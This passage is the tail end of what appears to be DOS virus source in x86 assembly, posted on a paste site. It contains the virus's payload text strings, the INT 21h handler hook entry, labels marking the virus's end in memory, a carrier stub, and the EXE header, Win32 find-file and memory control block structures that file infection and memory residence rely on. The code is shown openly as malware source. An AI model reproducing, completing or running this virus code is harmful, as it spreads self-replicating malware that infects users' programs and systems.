  976.         DB      'I suck up the concoction and eat the decay', 0Dh
  977.         DB      'With cankered disgorgement I excrete my gurgling prey', 0Dh
  978.         DB      'Bile, chyme and blood in the offal effervesce', 0Dh
  979.         DB      'I eviscerate the bowels and drink the clotted cess', 0Dh
  980.  
  981.  
  982. INT_Entry_Bytes DB      0EAh
  983.                 DW      OFFSET Virus_Int21h
  984. Virus_End:
  985.                 DW      0
  986.  
  987. Orig_Int_01h    DW      0, 0
  988.  
  989. Virus_End_Mem:
  990.  
  991.  
  992. Carrier:
  993.                 MOV     AX, 4C00h
  994.                 INT     21h
  995.  
  996.  
  997. EXE_Header      STRUC
  998. EXE_ID          DW      0
  999. Image_Mod_512   DW      0
  1000. File_512_Pages  DW      0
  1001. Reloc_Items     DW      0
  1002. Header_Size_PG  DW      0
  1003. Min_Size_Mem    DW      0
  1004. Max_Size_Mem    DW      0
  1005. Program_SS      DW      0
  1006. Program_SP      DW      0
  1007. Checksum        DW      0
  1008. Program_IP      DW      0
  1009. Program_CS      DW      0
  1010. Reloc_Table     DW      0
  1011. EXE_Header      ENDS
  1012.  
  1013.  
  1014. Find_FN_Win32   STRUC
  1015. Win32_Attr      DD      0
  1016. Win32_Created   DD      0, 0
  1017. Win32_Access    DD      0, 0
  1018. Win32_Time      DW      0
  1019. Win32_Date      DW      0
  1020.                 DD      0
  1021. Win32_Size_High DD      0
  1022. Win32_Size_Low  DD      0
  1023. Win32_Reserved  DB      8 DUP(0)
  1024. Win32_Win_Name  DB      260 DUP(0)
  1025. Win32_DOS_Name  DB      14 DUP(0)
  1026. Find_FN_Win32   ENDS
  1027.  
  1028.  
  1029. MCB_Header      STRUC
  1030. MCB_ID          DB      0
  1031. MCB_PSP         DW      0
  1032. MCB_Para_Size   DW      0
  1033. MCB_Dunno       DB      3 DUP(0)
  1034. MCB_Program     DW      4 DUP(0)
  1035. MCB_Header      ENDS
  1036.  
  1037.                 END     START
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement